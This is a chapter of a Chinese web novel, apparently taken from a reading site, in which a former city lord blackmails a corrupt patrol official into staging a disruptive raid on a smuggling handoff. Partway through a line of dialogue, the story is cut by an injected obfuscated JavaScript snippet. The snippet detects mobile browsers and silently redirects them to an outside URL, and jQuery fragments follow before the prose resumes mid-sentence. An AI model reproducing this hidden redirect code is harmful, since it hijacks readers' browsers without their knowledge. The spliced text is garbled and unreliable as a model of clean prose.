106.鹰栖明月(四)

作品:《留尘染情

    夜已深了,老码头。


    几盏气死风灯在风中摇晃,河道在此处拐了个急弯,水势湍急,暗流漩涡肉眼可见,故而大型官船罕至,反倒成了私下交易,装卸“特殊”货物的绝佳场所。


    照无还像一尊没有温度的泥塑,潜伏在码头西侧一片半塌窝棚的阴影里,已经整整两个时辰。


    他身下是滑腻的青苔和潮湿的腐木,寒气透过单薄的衣物,引起一阵哆嗦,他脸上涂了污泥,身上裹着捡来的破麻袋,与周遭环境几乎融为一体,只有那双眼睛,在黑暗中亮得惊人,死死盯着河面上那一小片被预留出来的看似平静的水域。


    两天。他用了两天时间,几乎掏空了自己对玉光城最后的那点记忆和老关系,没有去求援,则是去验证,去细化那份情报,并编织一个疯狂且孤注一掷的计划。


    海蛇帮,南境有名的水寇,凶悍狡诈,擅操舟弄浪,更精于在水下布置机关暗桩。他们与冬自岁合作多年,但关系建立在赤裸裸的利益和相互忌惮之上,绝谈不上信任。此次押运的“货”,据暗桩女子隐晦透露,极可能是来自海外番邦的火神珠原料与精密机括图纸。前者是违禁的军械材料,后者更涉及国之重器。冬自岁搞来这些,绝不仅仅是为了赚钱,恐怕更深地牵扯到他背后那庞大的利益网络,甚至可能是……献给那位的“大礼”或者“筹码”。


    硬抢?


    照无还掂量了一下自己这副残躯和身边那个只认钱,关键时刻还未必靠得住的赌徒,无声地否定了。


    下毒?


    海蛇帮的人行事谨慎,饮食水源必是自备,难以下手。


    制造混乱强攻?


    码头地形开阔,冬自岁接应的人马必定埋伏在侧,一旦乱起,自己第一个被碾死。


    故尘染的话再次在脑中回响:“想想冬自岁最怕什么,最想捂住什么……让东西消失,不一定需要刀剑。”


    冬自岁怕什么?怕失去那位的信任,怕这条至关重要的财路和晋升阶梯断裂。他想捂住什么?捂住这批货的来历,捂住他与海蛇帮、与境外势力勾结的铁证,捂住这批货一旦曝光足以让他万劫不复的惊天秘密!


    那么……如果让这批货,以一种他绝对无法接受、也绝对无法捂住的方式“消失”呢?


    一个极度冒险、却又带着一丝玉石俱焚快感的计划,在照无还心中逐渐成型。


    他需要借助另一股力,一股冬自岁也不敢轻易撕破脸的力。


    那就是官府的力。


    不同于矿监司那种小打小闹,这次是更直接也更名正言顺的暴力机关。


    他抱膝,想起了玉光城巡检司那个出了名贪财好色、却又胆小如鼠的副巡检,王扒皮。


    此人常年收受冬自岁的贿赂,对码头上的腌臜事睁只眼闭只眼,但也正因如此,他最怕事情闹大,牵连自身。更巧的是,照无还做城主时,曾无意中掌握了他与某位有夫之妇私通,并被对方丈夫抓住把柄险些闹出人命的丑事证据,当时为稳住局面,他替王扒皮压了下去,证据则悄悄留了一份。


    这或许……是个突破口呢?


    想到这,他放在膝上的手悄然握紧。


    同一片夜空下,岁安府内的气氛却截然不同。


    冬自岁已经砸了第三套茶具,满地狼藉中,他赤足踩着碎片来回踱步,派去查矿监司和鹰嘴涧“巡查”的人一无所获,那两个“官吏”如同人间蒸发。慈安堂那边安排得也不顺利,朝廷最近也似乎格外关注民生,对城内各处慈善堂所突然加大了巡视力度,让他的人难以下手。


    更让他心烦意乱的是,发给那位的信,如同石沉大海,至今没有回音。


    这很不寻常。


    以往,但凡涉及玉光城重大利益变动,那位的回信总是很快,或指示,或安抚,或提供新的资源通道。


    “邢厉!”冬自岁猛地停步,声音嘶哑。


    “属下在。”


    邢厉从阴影中闪出,脸上多了几道新添的擦伤,是调查时遇到的“意外”阻力所致。


    “任家那边,还没消息?”


    “回八爷,没有。按往常的渠道又递了一次加急询问,依旧……没有回应。”邢厉硬着头皮回答。


    冬自岁的眼神瞬间变得无比危险。


    没有回应?在这种关头?是任安那边出了什么变故?还是……他觉得玉光城这摊事已经不值得插手,甚至,想要弃车保帅?


    这个念头让他心底发寒。


    不,不可能。


    玉光城的利益对任家同样重要,那些火神珠原料和图纸,更是任安亲自点名要的“新奇玩意”,说是京城有大人物感兴趣。任安没道理不管。


    除非……他知道了什么?知道了皇后在其中的角色?还是说,皇后与任安之间,有什么自己不知道的默契或……合作关系?


    纷乱的猜测让他更加暴躁,他不能坐以待毙了。老码头的货必须万无一失!那不仅关系到他的钱路,更关系到他在任安乃至其背后网络中的价值和地位。


    “加派人手!”冬自岁咬牙下令,“老码头那边,给我围成铁桶!海蛇帮的人靠水,我们在岸上给我把每个耗子洞都盯死了!巡检司那边也打点好,王扒皮要是敢在这个节骨眼上找事,老子让他明天就淹死在玉带河里喂鱼!”


    “是!”


    “还有,”冬自岁眼神暗了暗,低声道,“去查查,最近城里有没有什么陌生的、特别扎眼的人物出现,尤其是……女人。”


    他脑海中闪过陆栖枳那张僵冷的脸,以及皇后那深不可测的温婉笑容。


    恶人!都是恶人!


    邢厉立刻领命而去。


    冬自岁独自站在满地碎片中,胸口剧烈起伏,他走到窗边,推开木窗,夜风涌入,带来了远处皇家别院方向那属于禁军巡逻的整齐脚步声。


    那声音规律,有一种带权威感,不断刺着他敏感的神经。


    元宸皇后……陆栖枳……朝廷。


    不管你们是谁,想从老子嘴里夺食,也得看看有没有那么好的牙口!


    他缓缓攥紧了拳头,指甲深深嵌入掌心。


    翌日,黄昏。


    玉光城巡检司衙门后巷,一个不起眼的腌臜酒馆。


    王扒皮如坐针毡,油腻的胖脸上汗珠不断滚落,时不时拿袖子擦拭,小眼睛惊恐地四处乱瞟。


    他对面,坐着浑身包裹在破旧斗篷里只露出半张苍白面孔的照无还。


    “照……照大人?不,照……照公子?”王扒皮声音发颤,手里捏着一张破旧的纸,手也颤抖着,怔问,“您……您这是何意啊?当年的事,不是已经……已经了结了吗?”


    “了结?”照无还的声音嘶哑平静,淡淡一笑,“王巡检,有些事,只要人还在,就永远了结不了。就像冬城主那些半夜运到老码头的石料,只要还在玉光城的地界上,就永远有可能了结不了。”


    王扒皮浑身肥肉一抖,脸更


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102592|177674||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    白了:“您……您说笑了,冬城主运什么,那都是合规合法的……”


    “合规合法?”


    照无还轻轻打断他,从怀中又慢条斯理地掏出一张纸,上面是模仿王扒皮的笔迹,但更显仓促慌乱的,是一条收到冬府码头规费的记录,金额不小,时间正好是几天后。


    “那这个呢?王巡检,私收规费,放纵违禁货物转运,知情不报,甚至可能协同走私……你说,要是这张纸和刚才那张纸,一起出现在皇后娘娘随行风宪官的案头,你会是什么下场?”


    王扒皮差点从凳子上滑下去,面无血色,凄声喊叫:“照公子!饶命!饶命啊!我也是被逼的!冬自岁他……他手眼通天,我一个小小副巡检,我……我……”


    “我没说要你的命。”照无还收起那两张纸,语气不紧不慢地道,“只是想请王巡检,在合适的时候,做一件你分内该做的事。”


    “什……什么事?”


    “明晚子时,老码头。”照无还凑近了些,压低声音,一字一句道,“带上你手下最能干、也最不懂事的一队弟兄,以接到线报,疑有大批未报验走私货物抵港为由,突击检查。声势要大,动作要鲁莽,最好……能‘不小心’惊动货物,制造些混乱。”


    王扒皮眼珠瞪得溜圆,疯狂摇头,连声拒绝:“这……这不行啊!八爷会杀了我的!那批货……那批货碰不得啊!照公子开恩啊……”


    “碰不得的货,才更要查。”照无还眼中薄凉,冷声道,“王巡检,你只有两个选择:要么,明天晚上秉公执法,事情闹大,你最多是个失察、鲁莽,但有我保你,加上你主动揭发事后,或许能将功折罪,甚至扳倒冬自岁,你就是功臣。要么……”他顿了顿,幽幽道,“我现在就把这些东西送出去,你觉得,是冬自岁先弄死你,还是朝廷先办了你?别忘了,皇后娘娘可在城里。冬自岁,保得住你吗?”


    王扒皮瘫在椅子上,汗水浸透了里衣。他看看眼前这个瘦骨如柴,眼神却狠得像狼的前任城主,再想想冬自岁那暴虐的性子,以及城中隐约传闻的皇后威势……


    他只觉得,天平都在剧烈摇晃着。


    许久,他仿佛被抽干了所有力气,惨然道:“我……我查……但,照公子,您得说话算话,保我……”


    “只要你按我说的做。”照无还站起身,将一个小巧的装着些散碎银子的布袋推到他面前,平道,“这些,给你弟兄们喝酒压惊。记住,子时,声势要大,动作要‘不小心’。”


    说完,他不再看王扒皮死灰般的脸,拉起兜帽,悄无声息地融入酒馆外。


    计划的核心已经埋下,他现在需要最后一样东西,一个能在水面上,准确“指引”王扒皮那帮“鲁莽”官差找到可疑货物,并引发最大混乱的……信号。


    他想起了镜画,那个被冬自岁禁锢,调制异香的女子。或许……香气,也能成为另一种信号?一种只有特定人才能察觉,却足以在混乱中引起警惕甚至恐慌的信号?


    但这步棋太险,几乎是将自己暴露在冬自岁眼皮底下,他需要更周全的筹谋,也需要……一点运气。


    就在他心思飞转,沿着阴暗巷道疾走,准备返回藏身地时,前方巷口,无声无息地出现了一道丹秫色的身影。


    陆栖枳抱着剑,斜倚墙边,似乎早已等候多时。她如鹰一般的目光平静地落在他身上,将他从头到脚打量了一遍,最后定格在他那双沾满泥污,却紧握成拳,微微颤抖的手上。